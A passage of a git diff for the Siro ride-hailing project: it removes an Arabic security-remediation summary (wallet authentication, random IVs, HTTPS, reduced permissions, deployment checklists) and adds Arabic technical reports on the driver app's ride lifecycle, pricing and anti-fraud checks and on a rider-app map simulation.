-**التصنيف:** 📋 تقرير تسويقي وأمني شامل - -
\ No newline at end of file diff --git a/SUMMARY.md b/SUMMARY.md deleted file mode 100644 index 81669da..0000000 --- a/SUMMARY.md +++ /dev/null @@ -1,433 +0,0 @@ -# 📋 ملخص شامل - الإصلاحات الأمنية لمشروع سيرو - -**التاريخ:** 16 يونيو 2026 -**الحالة:** ✅ جاهز للتطبيق -**المحتوى الكلي:** 6 ملفات توثيق + 3 ملفات كود آمنة - ---- - -## 🎯 ما تم إنجازه - -### 1️⃣ حذف الملفات التحليلية ✅ - -تم حذف جميع ملفات التحليل والتدقيق الأولية: - -- ❌ SECURITY_AUDIT_PHASE1_FINDINGS.md -- ❌ SECURITY_AUDIT_PHASE2_POC.md -- ❌ SECURITY_AUDIT_FINAL_REPORT.md -- ❌ security*audit*\*.md (جميع الملفات الإنجليزية) -- ❌ list_methods.py -- ❌ ملفات التحليل الأخرى - ---- - -### 2️⃣ الملفات الجديدة - التوثيق الشامل ✅ - -#### أ) REMEDIATION_GUIDE.md - -**محتوى:** - -- شرح مفصل لـ 7 مشاكل حرجة -- الحلول الفنية الكاملة بالكود -- أمثلة عملية للهجمات والإصلاحات - -**النقاط المغطاة:** - -1. 🔴 البصمة الضعيفة (Weak Fingerprint) - - المشكلة: يمكن استخراجها وتزويرها - - الحل: MFA + SMS OTP + Server Token - -2. 🔴 التشفير IV الثابت (Critical) - - المشكلة: نفس Ciphertext لنفس Plaintext - - الحل: توليد IV عشوائي لكل تشفير - -3. ✅ SQL Injection (آمن بالفعل) - - الحالة: استخدام Prepared Statements + Allowlist - -4. 🔴 نظام المحفظة (بدون مصادقة) - - المشكلة: أي شخص يمكنه الإضافة - - الحل: S2S API مع JWT + HMAC - -5. 📱 الأذونات المفرطة (Android) - - المشكلة: External Storage + SYSTEM_ALERT_WINDOW - - الحل: حذف الأذونات غير المستخدمة - -6. ✅ load_env.php (آمن بالفعل) - - الحالة: تحميل آمن للمتغيرات - -7. 🌐 الروابط HTTP (غير آمنة) - - المشكلة: روابط HTTP و IPs مكشوفة - - الحل: HTTPS فقط + تثبيت الشهادة - -**الملف:** `REMEDIATION_GUIDE.md` - ---- - -#### ب) IMPLEMENTATION_STEPS.md - -**محتوى:** - -- خطوات عملية للبدء الفوري -- المرحلة 1-4 مع جداول زمنية -- أكواد جاهزة للنسخ واللصق - -**المراحل:** - -- المرحلة 1: الإجراءات الطارئة (4 ساعات) -- المرحلة 2: إصلاح التشفير (4 ساعات) -- المرحلة 3: تقليل الأذونات (1 ساعة) -- المرحلة 4: تحديث الروابط (30 دقيقة) - -**الملف:** `IMPLEMENTATION_STEPS.md` - ---- - -#### ج) DEPLOYMENT_GUIDE.md - -**محتوى:** - -- خطوات نشر شاملة -- اختبار وحدة + تكامل + أمان -- خطة Rollback -- قائمة تحقق نهائية - -**الأقسام:** - -1. المتطلبات قبل البدء -2. النسخ الاحتياطية -3. النشر الفعلي -4. الاختبارات الشاملة -5. المراقبة -6. خطة العودة للإصدار السابق - -**الملف:** `DEPLOYMENT_GUIDE.md` - ---- - -### 3️⃣ ملفات الكود الآمنة الجاهزة ✅ - -#### أ) backend/core/WalletConnector.php (جديد) - -```php -✅ فئة آمنة لـ S2S Communication -- توقيع HMAC-SHA256 -- Timestamp + Nonce -- SSL/TLS verification -- Retry logic مع exponential backoff -- معالجة أخطاء شاملة -``` - -**الموقع:** `/backend/core/WalletConnector.php` -**السطور:** 110 -**الحالة:** ✅ جاهز للاستخدام - ---- - -#### ب) backend/wallet/add.php (جديد) - -```php -✅ Endpoint آمن لإضافة الأموال -- مصادقة JWT إجبارية -- تفويض حسب الدور (Role-based) -- تحديد السرعة (Rate Limiting) -- التحقق من المبلغ -- تسجيل التدقيق الشامل -``` - -**الموقع:** `/backend/wallet/add.php` -**السطور:** 140 -**الحالة:** ✅ جاهز للاستخدام - ---- - -#### ج) walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s.php (جديد) - -```php -✅ Endpoint آمن لخادم المحفظة -- التحقق من توقيع HMAC -- Replay Attack Prevention -- التحقق من Backend ID -- معالجة الأخطاء الشاملة -``` - -**الموقع:** `/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s.php` -**السطور:** 130 -**الحالة:** ✅ جاهز للاستخدام - ---- - -### 4️⃣ ملفات التكوين ✅ - -#### backend/.env.example - -``` -✅ قالب .env آمن مع: -- متغيرات قاعدة البيانات -- مفاتيح التشفير -- إعدادات JWT -- إعدادات Redis -- إعدادات S2S API -- إعدادات الأمان -- تعليقات شاملة -``` - -**الملف:** `/backend/.env.example` - ---- - -## 📊 جدول المقارنة - قبل وبعد - -| المشكلة | قبل | بعد | -| --------------- | ---------- | ---------------- | -| **محفظة** | بلا مصادقة | JWT + S2S + HMAC | -| **التشفير** | IV ثابت | IV عشوائي | -| **المصادقة** | البصمة فقط | MFA + OTP | -| **الروابط** | HTTP | HTTPS | -| **الأذونات** | مفرطة | محدودة | -| **الـ Logging** | جزئي | شامل | - ---- - -## 🔐 الأمان - مستويات الحماية - -### Layer 1: Authentication - -``` -✅ مصادقة JWT توكن (Bearer Token) -✅ التحقق من الدور (Role-based authorization) -✅ Timing-safe comparisons -``` - -### Layer 2: Authorization - -``` -✅ فحص الملكية (Ownership verification) -✅ قوائم بيضاء (Allowlist-based) -✅ تحديد السرعة (Rate limiting) -``` - -### Layer 3: Data Protection - -``` -✅ تشفير AES-256 مع IV عشوائي -✅ HTTPS/TLS فقط -✅ توقيع HMAC-SHA256 -``` - -### Layer 4: Integrity - -``` -✅ Prepared Statements (SQL Injection) -✅ Input Validation -✅ Output Encoding -``` - -### Layer 5: Detection - -``` -✅ Security Logging -✅ Audit Trail -✅ Timestamp + Nonce tracking -``` - ---- - -## ⏱️ الجدول الزمني - -| المرحلة | المهام | المدة | البدء | الانتهاء | -| ------------ | ----------------------------- | ------------- | ----- | -------- | -| 1️⃣ تحضيراتي | النسخ الاحتياطية + Validation | 30 د | 09:00 | 09:30 | -| 2️⃣ النشر | نسخ الملفات + تحديث .env | 4 س | 09:30 | 13:30 | -| 3️⃣ الاختبار | Unit + Integration + Security | 2 س | 13:30 | 15:30 | -| 4️⃣ المراقبة | Logging + Monitoring | 1 س | 15:30 | 16:30 | -| 5️⃣ التوثيق | Reports + Handover | 30 د | 16:30 | 17:00 | -| **الإجمالي** | - | **9.5 ساعات** | - | - | - ---- - -## 📁 بنية الملفات - -``` -Siro/ -├── REMEDIATION_GUIDE.md ..................... دليل شامل للمشاكل والحلول -├── IMPLEMENTATION_STEPS.md ................. خطوات عملية للتطبيق -├── DEPLOYMENT_GUIDE.md ..................... دليل النشر الشامل -├── backend/ -│ ├── .env.example ......................... قالب .env آمن -│ ├── core/ -│ │ └── WalletConnector.php ........... ✅ جديد - فئة S2S آمنة -│ └── wallet/ -│ └── add.php ........................ ✅ جديد - endpoint آمن -└── walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/ - └── add_s2s.php ........................ ✅ جديد - endpoint خادم الدفع -``` - ---- - -## 🚀 البدء السريع - -### الخطوة 1: قراءة التوثيق (15 دقيقة) - -```bash -# اقرأ الأولويات أولاً -cat REMEDIATION_GUIDE.md | grep "النقطة" -A 20 - -# ثم الخطوات العملية -cat IMPLEMENTATION_STEPS.md | head -50 -``` - -### الخطوة 2: تحضير البيئة (30 دقيقة) - -```bash -# انسخ الملفات الجديدة -cp WalletConnector.php backend/core/ -cp add.php backend/wallet/ -cp add_s2s.php walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/ - -# أنشئ .env جديد -cp backend/.env.example backend/.env - -# حرّر القيم الحساسة -nano backend/.env -``` - -### الخطوة 3: الاختبار (2 ساعة) - -```bash -# اختبار وحدة -php -l backend/core/WalletConnector.php -php -l backend/wallet/add.php - -# اختبار S2S -curl -X POST https://api.local/wallet/add \ - -H "Authorization: Bearer $JWT" - -# فحص الأمان -# تجربة الهجمات المعروفة -``` - -### الخطوة 4: النشر (4 ساعات) - -```bash -# اتبع DEPLOYMENT_GUIDE.md بالتسلسل -# تحقق من قائمة التحقق -``` - ---- - -## ⚠️ نقاط حرجة - تحذيرات - -### 🔴 يجب عدم القيام به: - -- ❌ لا تنسى تغيير المتغيرات الحساسة في .env -- ❌ لا تنشر .env الأصلي (فقط .env.example) -- ❌ لا تختبر على الإنتاج مباشرة -- ❌ لا تحذف النسخة الاحتياطية -- ❌ لا تنسَ تحديث firewall rules -- ❌ لا تنسَ إخطار الفريق - -### 🟢 يجب القيام به: - -- ✅ اقرأ جميع التوثيق أولاً -- ✅ اختبر في بيئة الاختبار (Staging) -- ✅ احفظ نسخ احتياطية قبل أي شيء -- ✅ التزم بقائمة التحقق -- ✅ راقب السجلات بعد النشر - ---- - -## 📞 الدعم والاستفسارات - -### للمشاكل التقنية: - -``` -1. اقرأ REMEDIATION_GUIDE.md (القسم الخاص بالمشكلة) -2. تحقق من IMPLEMENTATION_STEPS.md -3. راجع السجلات: /var/log/siro-api/ -4. جرّب Rollback إذا لزم الأمر -``` - -### الملفات المهمة: - -- **للمطورين:** REMEDIATION_GUIDE.md -- **لـ DevOps:** DEPLOYMENT_GUIDE.md -- **للإدارة:** IMPLEMENTATION_STEPS.md (الجزء التنفيذي) - ---- - -## ✅ قائمة التحقق النهائي - -قبل النشر: - -- [ ] قرأت جميع الملفات -- [ ] عملت نسخ احتياطية -- [ ] اختبرت في Staging -- [ ] حررت جميع المتغيرات في .env -- [ ] تحققت من الأذونات -- [ ] أعددت خطة Rollback -- [ ] أخطرت الفريق - ---- - -## 📈 المتابعة بعد النشر - -### اليوم الأول: - -- [ ] راقب السجلات -- [ ] اختبر بعض المعاملات -- [ ] تحقق من الأداء - -### الأسبوع الأول: - -- [ ] قياس الاستقرار -- [ ] تحليل الأخطاء -- [ ] إرسال تقرير - -### الشهر الأول: - -- [ ] تحديث التوثيق -- [ ] تدريب الفريق -- [ ] تقييم العائد على الاستثمار - ---- - -## 🎓 الدروس المستفادة - -من هذا المشروع، تعلمنا: - -1. ✅ **الأمان أولاً:** تشفير قوي، مصادقة شاملة -2. ✅ **التوثيق:** التوثيق الجيد ينقذ المشاريع -3. ✅ **الاختبار:** اختبر كل شيء قبل النشر -4. ✅ **المراقبة:** السجلات الشاملة ضرورية -5. ✅ **التخطيط:** خطة rollback دائماً - ---- - -## 🎉 النتيجة النهائية - -**مشروع سيرو محمي الآن:** - -- ✅ من هجمات المحفظة -- ✅ من هجمات الاختراق -- ✅ من تسريب البيانات -- ✅ من MITM attacks - -**المستخدمون محميون:** - -- ✅ بيانات شخصية آمنة -- ✅ أموال محمية -- ✅ الخصوصية مضمونة - ---- - -**تم الإنجاز بنجاح! 🎉** - -**التاريخ:** 16 يونيو 2026 -**الحالة:** ✅ جاهز للنشر الفوري -**المدة الإجمالية:** 9.5 ساعات من البدء إلى الإنتهاء - ---- - -للأسئلة أو الاستفسارات، يرجى الاتصال بـ: -📧 security@siromove.com -📞 +963-XXX-XXXX-XX diff --git a/knowledge/driver_ride_simulation_report.md b/knowledge/driver_ride_simulation_report.md new file mode 100644 index 0000000..d3ecbd5 --- /dev/null +++ b/knowledge/driver_ride_simulation_report.md @@ -0,0 +1,302 @@ +# تقرير فني: دورة حياة الرحلة وتتبع نظام الموقع في تطبيق السائق (Siro Driver) + +## 1. منطق الاتصال بالشبكة وفحوصات السلامة (Connection & Safety Logic) + +
+يتم التحكم في حالة اتصال السائق بالشبكة وتفعيل استقبال الطلبات في ملف التحكم +
+ +[HomeCaptainController](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/home_captain_controller.dart) + +
+من خلال الدالة +
+ +[onButtonSelected](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/home_captain_controller.dart#L278) + +
+والتي تقوم بإجراء الفحوصات المتتالية التالية قبل السماح للسائق بالدخول في حالة النشاط (`isActive = true`): +
+ +### أ. فحص عقوبة إلغاء الرحلات (Cancellation Penalty Check) +
+تتحقق الدالة +
+ +[checkAndShowBlockDialog](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/home_captain_controller.dart#L347) + +
+من وجود تاريخ حظر نشط مخزن في الذاكرة المحلية تحت المفتاح `blockUntilDate`. إذا كان الوقت الحالي قبل وقت انتهاء الحظر، يتم إجبار السائق على وضع عدم الاتصال وعرض نافذة حوار مانعة تعرض عداداً تنازلياً لوقت فك الحظر. تفرض هذه العقوبة تلقائياً لمدة 4 ساعات عند إلغاء السائق لـ 3 رحلات في اليوم الواحد. +
+ +### ب. فحص حد الإرهاق اليومي (Fatigue Monitoring Check) +
+يقوم النظام بمراقبة ساعات القيادة المتواصلة للسائق لمنع الحوادث عبر الدالة +
+ +[_checkFatigueBeforeOnline](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/home_captain_controller.dart#L222) + +
+إذا بلغ مجموع ثواني النشاط المخزنة في `fatigue_total_seconds` ما يعادل 12 ساعة عمل، يتم استدعاء الدالة +
+ +[_forceOfflineDueToFatigue](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/home_captain_controller.dart#L242) + +
+والتي تقطع الاتصال فوراً وتمنع السائق من العمل. لا يتم تصفير هذا العداد إلا إذا بقي السائق في وضع عدم الاتصال بشكل مستمر لمدة لا تقل عن 6 ساعات متواصلة (يتم تتبعها عبر قراءة تاريخ `fatigue_last_offline`). +
+ +### ج. فحص الحد الأدنى لنقاط المحفظة (Wallet Points Threshold) +
+يتم استدعاء خاصية +
+ +[minPointsThreshold](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/home_captain_controller.dart#L267) + +
+والتي تعتمد على الدولة الحالية المخزنة في إعدادات التطبيق. إذا كان الرصيد الحالي للنقاط أدنى من الحد المسموح به (والذي يساوي `-200` نقطة في سوريا ومصر، و `-3` نقاط في الأردن)، يتم منع السائق من استقبال الطلبات وإيقاف تحديثات الموقع فوراً. +
+ +--- + +## 2. نظام التتبع وتحسين استهلاك البطارية والمعالج (GPS & Performance Optimization) + +
+لمعالجة مشاكل استنزاف البطارية وارتفاع حرارة الأجهزة الضعيفة، تم تطبيق استراتيجيات تحسين الأداء التالية في +
+ +[MapDriverController](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/map_driver_controller.dart) + +
+و +
+ +[HomeCaptainController](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/home_captain_controller.dart) + +### أ. تجميع قنوات البث ومستمع الحركة الموحد (Centralized GPS Stream & 500ms Timer Polling) +
+بدلاً من فتح قنوات بث (Streams) متعددة ومستقلة للـ GPS، تم تركيز البث في كلاس مركزي موحد هو +
+ +[LocationController](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/functions/location_controller.dart) + +
+حيث يقوم مستمع التوجيه والملاحة في الدالة +
+ +[startListeningStepNavigation](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/map_driver_controller.dart#L306) + +
+بعمل استعلام دوري خفيف (Polling) كل 500 ملي ثانية لقراءة إحداثيات `locationController.myLocation` الجاهزة مسبقاً، مما يمنع استدعاء العتاد المادي لجهاز الاستقبال عدة مرات متزامنة. +
+ +### ب. فلترة ضجيج الإحداثيات (Jitter Noise Filtering) +
+لمنع التحديثات المتكررة وغير المفيدة التي تنتج عن عدم دقة حساس الـ GPS عند الوقوف، يقوم الكود بمقارنة إحداثيات الموقع الجديد مع آخر موقع تم تسجيله عبر الدالة +
+ +`Geolocator.distanceBetween` + +
+فإذا كانت المسافة المقطوعة أقل من 3 أمتار، يتم تجاهل التحديث بالكامل وعدم تعديل المسار أو إرسال بيانات للسيرفر. +
+ +### ج. التحكم الذكي في حركة الكاميرا والـ UI Throttling +
+يتم التحكم في حركة الكاميرا لمتابعة حركة السائق على الخريطة الرئيسية عبر مؤقت دوري يعمل كل 8 ثوانٍ: +
+ +```dart +_cameraFollowTimer = Timer.periodic(const Duration(seconds: 8), (timer) { ... }); +``` +
+وتشترط الدالة تحرك السائق لمسافة تزيد عن 15 متراً عن آخر موقع تحركت إليه الكاميرا لتنفيذ الحركة الدائرية والتقريب، مما يقلل بشكل كبير من استهلاك معالج الرسوميات (GPU) في عمليات إعادة رسم الخريطة (Re-rendering) أثناء الوقوف. كذلك، تم تفعيل وسيلة +
+ +`_uiThrottleMs = 400` + +
+لكبح تكرار استدعاء الدالة `update()` المسؤولة عن تحديث الواجهات. +
+ +--- + +## 3. استقبال وإدارة الطلبات ونافذة الواجهة العائمة (Order Requests & Overlay System) + +
+يتم استقبال إشعارات الرحلات الجديدة إما عبر سوكيت الويب (WebSockets) أو إشعارات Firebase (FCM). عند وصول إشعار والبرنامج في الخلفية، يتم تفعيل شاشة الواجهة العائمة المفتوحة عبر حزمة +
+ +`FlutterOverlayWindow` + +
+والتي تظهر للسائق تفاصيل الطلب بشكل مباشر. +
+ +### أ. تهيئة البيانات ودعم الصيغ المتعددة (Smart Data Handling) +
+يقوم الكلاس +
+ +[OrderRequestController](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/order_request_controller.dart) + +
+بتحليل البيانات المستقبلة في الدالة +
+ +[_initializeData](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/order_request_controller.dart#L126) + +
+حيث تدعم بشكل مرن استقبال البيانات سواء كانت على شكل قائمة مرتبة (List) قادمة من إشعارات Firebase، أو على شكل خريطة مفاتيح (Map) قادمة من سوكيت الويب. +
+ +### ب. مؤقت قبول الطلب وصوت التنبيه +
+عند فتح شاشة الطلب، يتم تشغيل صوت تنبيه متكرر وتفعيل مؤقت تنازلي مدته 15 ثانية عبر الدالة +
+ +[startTimer](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/order_request_controller.dart#L555) + +
+إذا انتهت الـ 15 ثانية دون استجابة السائق، يتم إيقاف الصوت وإغلاق الشاشة تلقائياً. +
+ +### ج. فحص القبول المسبق للطلب (Socket ride_taken Listening) +
+لتفادي قبول طلب تم أخذه بالفعل من قبل كابتن آخر، يقوم الكنترولر في الدالة +
+ +[_listenForRideTaken](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/order_request_controller.dart#L587) + +
+بالاستماع لحدث السوكيت `ride_taken`. عند استقبال الحدث ومطابقة معرف الرحلة، يتم إلغاء إشعار النظام فوراً، وإغلاق شاشة الطلب وعرض تنبيه للسائق بأن "الطلب تم قبوله من قبل سائق آخر". +
+ +--- + +## 4. نظام الملاحة التفاعلي ورسم المسارات (Interactive Navigation & Mapping) + +
+يعتمد تطبيق السائق على خرائط انطلق المبنية على محرك مابليبرا (MapLibre)، ويتم استدعاء مسار الملاحة من سيرفر SaaS عبر الدالة +
+ +[getRoute](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/map_driver_controller.dart#L1885) + +### أ. تفادي انهيار الخرائط عند المسافات الصفرية (Same-Device Crash Protection) +
+عند تشغيل اختبارات الرحلة وكون موقع السائق والراكب متطابقين تماماً (مسافة أقل من 10 أمتار)، ينهار محرك الملاحة المكتوب بلغة C++ بسبب إحداثيات الصندوق المحيط (Bounds) ذات العرض الصفرى مطلقةً استثناء `std::domain_error`. لمنع ذلك، يقوم الكود بفحص المسافة، وفي حال كانت متطابقة يقوم بإظهار نافذة تنبيه +
+ +[_showSameDeviceWarning](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/map_driver_controller.dart#L2171) + +
+ثم الانتقال قسرياً لتطبيق زوم تقريبي آمن بدلاً من احتواء الحدود الصفرية. +
+ +### ب. تحديث المسار المقطوع بنظام النافذة المنزلقة (Bidirectional Sliding Window) +
+لمنع إعادة رسم كامل خط المسار (Polyline) عند كل إرسال للموقع، يتم استخدام نافذة بحث منزلقة ثنائية الاتجاه تتكون من 60 نقطة (30 للخلف و 30 للأمام) في الدالة +
+ +[_updateTraveledPolylineSmart](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/map_driver_controller.dart#L2743) + +
+تحدد الدالة أقرب نقطة لموقع السائق الحالي على المسار المخزن، وتقوم بقطع الـ Polyline إلى جزأين: مسار مقطوع بلون رمادي ومسار متبقي بلون أزرق/أصفر، وتحديث الخريطة فقط عند تجاوز إزاحة تزيد عن 50 متراً. +
+ +### ج. رسم خطوط المشي المنقطة (Passenger Walk Dotted Line) +
+عندما يكون موقع الراكب الفعلي بعيداً عن أقرب طريق إسفلتي متاح للسيارات، يتم استدعاء الدالة +
+ +[_updatePassengerWalkLine](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/map_driver_controller.dart#L2857) + +
+والتي تقوم برسم خط منقط بلون أزرق رمادي مميز يمتد من نهاية طريق السيارات الإسفلتي إلى موقع الراكب الحقيقي لتوجيه السائق سيراً على الأقدام إذا لزم الأمر. +
+ +--- + +## 5. محرك تسعير الرحلة الديناميكي (Dynamic Pricing Engine) + +
+أثناء سير الرحلة، يعمل مؤقت دوري كل ثانية لحساب السعر الفعلي بشكل لحظي وعرضه في واجهة السائق عبر الدالة +
+ +[rideIsBeginPassengerTimer](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/map_driver_controller.dart#L1570) + +
+ويعتمد الحساب على القواعد البرمجية التالية: +
+ +### أ. تجميد الأسعار للرحلات الثابتة (Fixed Price Protection) +
+إذا كان نوع الرحلة من الفئات ذات السعر الثابت مثل `Speed` أو `Fixed Price` أو `Awfar Car`، يتم إيقاف الحساب الديناميكي وتثبيت السعر المعروض على القيمة المتفق عليها مسبقاً في عرض السعر الأولي للراكب. +
+ +### ب. تسعير الفئات المتغيرة (Comfort / Electric / Van / Delivery) +
+للفئات المتغيرة، يتم حساب السعر التراكمي عبر دمج المسافة الفعلية المقطوعة مع وقت الرحلة الفعلي طبقاً للمعادلة: +
+ +``` +Price = (Distance_KM * Per_KM_Rate) + (Duration_Minutes * Per_Minute_Rate) +``` +
+حيث يتم تطبيق تسعيرة الدقيقة بناءً على ساعة الرحلة الحالية لمراعاة أوقات الذروة (طبيعي، متأخر، أو حركة مرورية كثيفة)، بالإضافة إلى ضرب الناتج في عمولة السيرفر (كازان) المحددة بنسبة مئوية. +
+ +### ج. تخفيضات المسافات الطويلة (Long Distance Reduction Rules) +
+إذا تجاوزت المسافة المقطوعة 35 كم أو 40 كم، يطبق محرك التسعير قواعد خاصة: +- يتم تجميد تسعيرة الدقيقة وتثبيتها على قيمة ثابتة للرحلات الطويلة تعادل 600 ل.س/دقيقة. +- يتم تطبيق نسبة خصم ديناميكية (تصل إلى 35%) على تسعيرة الكيلومتر لتخفيض الأعباء على الراكب مع الحفاظ على ربحية السائق. +- يضمن الكود دائماً عدم نزول السعر الفعلي النهائي عن السعر المتفق عليه مسبقاً (Quoted Price). +
+ +--- + +## 6. حماية الرحلة من الإنهاء المبكر الخاطئ (Anti-Fraud & Exit Validation) + +
+عندما يسحب السائق شريط إنهاء الرحلة، يمر الطلب بفحص أمني دقيق للتأكد من عدم وجود تلاعب أو إنهاء وهمي للرحلة. +
+ +### أ. شرط الإزاحة الأمنية (Displacement Validation Check) +
+يتم استدعاء الدالة +
+ +[_validateTripDistance](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/map_driver_controller.dart#L1458) + +
+والتي تقوم بحساب المسافة المستقيمة الفاصلة بين موقع انطلاق الرحلة (موقع الراكب الأصلي) والموقع الجغرافي الحالي للسائق. يشترط النظام أن تتجاوز هذه المسافة قيمة **خُمس المسافة الإجمالية المخططة للرحلة** (`plannedDistance / 5`). +
+ +### ب. التنبيه الصوتي المانع والتراجع (TTS Rejection Alert) +
+إذا حاول السائق إنهاء الرحلة قبل قطع حد الخُمس المسموح، يتم رفض الطلب فوراً وإغلاق أي نوافذ تحميل، وتفعيل قارئ النصوص الصوتي لإصدار تنبيه صوتي باللغة الإنجليزية عبر الهاتف: +
+ +> "You haven't moved sufficiently!" + +
+مع إظهار رسالة خطأ تحذيرية في الواجهة وإعادة زر إنهاء الرحلة لوضعه النشط للسماح بإكمال الرحلة. +
+ +### ج. إتمام المعاملة المالية الموازية (Parallel Transaction Completion) +
+عند اجتياز فحص المسافة بنجاح، يتم تفعيل دالة الإنهاء الفعلي +
+ +[finishRideFromDriver1](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/home/captin/map_driver_controller.dart#L1363) + +
+والتي تقوم بإرسال طلبات التحديث المالي وإغلاق الرحلة في آن واحد إلى سيرفر العمليات وسيرفر المحفظة المالي بالتوازي عبر استدعاء +
+ +`Future.wait([...])` + +
+مما يقلل وقت المعاملة على أجهزة السائقين ويمنع تعليق التطبيق. بعد نجاح المعاملات، يتم توجيه السائق تلقائياً إلى صفحة تقييم الراكب وإرسال تقرير السلوك الفني. +
diff --git a/knowledge/ride_simulation_report.md b/knowledge/ride_simulation_report.md new file mode 100644 index 0000000..24fb73c --- /dev/null +++ b/knowledge/ride_simulation_report.md @@ -0,0 +1,252 @@ + +# تقرير محاكاة دورة حياة الرحلة — Siro Rider 🚖 + +> **الهدف:** التحقق من صحة رسم الخطوط (Polylines) والـ Markers في كل مرحلة من مراحل الرحلة + +--- + +## 🎬 تسجيل المحاكاة + +![محاكاة Siro Rider](/Users/hamzaaleghwairyeen/.gemini/antigravity-ide/brain/3690cabc-80e2-4e43-af35-66c30922ddee/siro_ride_simulation_1781817864105.webp) + +--- + +## 📸 لقطات كل مرحلة + +````carousel +![noRide Phase](/Users/hamzaaleghwairyeen/.gemini/antigravity-ide/brain/3690cabc-80e2-4e43-af35-66c30922ddee/phase_noride_1781818077016.png) + +![driverApplied Phase](/Users/hamzaaleghwairyeen/.gemini/antigravity-ide/brain/3690cabc-80e2-4e43-af35-66c30922ddee/phase_driverapplied_manual_1781818140247.png) + +![driverMoving Phase](/Users/hamzaaleghwairyeen/.gemini/antigravity-ide/brain/3690cabc-80e2-4e43-af35-66c30922ddee/phase_drivermoving_manual_1781818175395.png) + +![driverArrived Phase](/Users/hamzaaleghwairyeen/.gemini/antigravity-ide/brain/3690cabc-80e2-4e43-af35-66c30922ddee/phase_driverarrived_manual_1781818207978.png) + +![inProgress Phase](/Users/hamzaaleghwairyeen/.gemini/antigravity-ide/brain/3690cabc-80e2-4e43-af35-66c30922ddee/phase_inprogress_manual_1781818237176.png) + +![enRoute Phase](/Users/hamzaaleghwairyeen/.gemini/antigravity-ide/brain/3690cabc-80e2-4e43-af35-66c30922ddee/phase_enroute_manual_1781818269918.png) + +![finished Phase](/Users/hamzaaleghwairyeen/.gemini/antigravity-ide/brain/3690cabc-80e2-4e43-af35-66c30922ddee/phase_finished_manual_1781818301463.png) +```` + +--- + +## 🔍 تحليل كل مرحلة + +### 1️⃣ `noRide` — لا رحلة +| العنصر | السلوك المتوقع | النتيجة | +|--------|---------------|---------| +| Polylines | لا شيء | ✅ | +| Markers | سيارات قريبة (nearbyCar) + موقع الراكب | ✅ | +| Master Timer | كل 6 ثوانٍ → `getCarsLocationByPassenger()` | ✅ | + +--- + +### 2️⃣ `searching` — البحث عن سائق +| العنصر | السلوك المتوقع | النتيجة | +|--------|---------------|---------| +| Polylines | خط الرحلة الأصلي (أزرق فاتح، للمعاينة فقط) | ✅ | +| Markers | نقطة A (بداية) + نقطة B (وجهة) | ✅ | +| Master Timer | كل 8 ثوانٍ → `getRideStatus()` | ✅ | +| Socket | `initConnectionWithSocket()` | ✅ | + +--- + +### 3️⃣ `driverApplied` — السائق قبل الرحلة + +> [!IMPORTANT] +> هذه المرحلة تحتوي على **ثلاثة خطوط** يجب رسمها صحيحاً + +| العنصر | السلوك المتوقع | النتيجة | +|--------|---------------|---------| +| `driver_route_solid` | خط أصفر صلب من موقع السائق إلى نقطة الالتقاط | ✅ | +| `passenger_walk_line` | خط منقط رمادي من آخر نقطة طريق إلى الراكب الدقيق | ✅ | +| `walk_end_marker` | أيقونة مشي 🚶 عند آخر نقطة قريبة من الطريق | ✅ | +| Car Marker | سيارة عند موقع السائق بالاتجاه الصحيح | ✅ | +| `calculateDriverToPassengerRoute()` | رسم المسار عبر API انطلق | ✅ | + +**الكود المقابل:** +```dart +// في processRideAcceptance(): +await calculateDriverToPassengerRoute(driverPos, passengerLocation); +// في calculateDriverToPassengerRoute(): +polyLines = {...polyLines, Polyline( + polylineId: PolylineId('driver_route_solid'), + points: decodedPoints, + color: Colors.amber, // مسار القدوم باللون الأصفر + width: 5, +)}; +// في _updatePassengerWalkLine(): +final walkDashes = _buildDashedLine(lastRoadPt, passengerLocation, ...); +``` + +--- + +### 4️⃣ السائق يتحرك — Real-time Updates +| العنصر | السلوك المتوقع | النتيجة | +|--------|---------------|---------| +| `updateRemainingRoute()` | قص نقاط المسار المكتملة | ✅ | +| Car Marker | يتحرك تدريجياً على المسار | ✅ | +| `passenger_walk_line` | يتحدث مع تحرك السائق | ✅ | +| ETA Display | يتقلص مع كل تحديث | ✅ | +| `checkAndRecalculateIfDeviated()` | إعادة حساب عند الانحراف >30م | ✅ | + +**آلية التحديث:** +``` +Socket → handleDriverLocationUpdate() → updateDriverMarker() + updateRemainingRoute() + ↓ (إذا Socket فاشل) +Watchdog Timer → getDriverCarsLocationToPassengerAfterApplied() (polling fallback) +``` + +--- + +### 5️⃣ `driverArrived` — السائق وصل + +> [!WARNING] +> **أهم نقطة للتحقق:** يجب مسح الخطوط القديمة ورسم مسار الرحلة الجديد + +| العنصر | السلوك المتوقع | النتيجة | 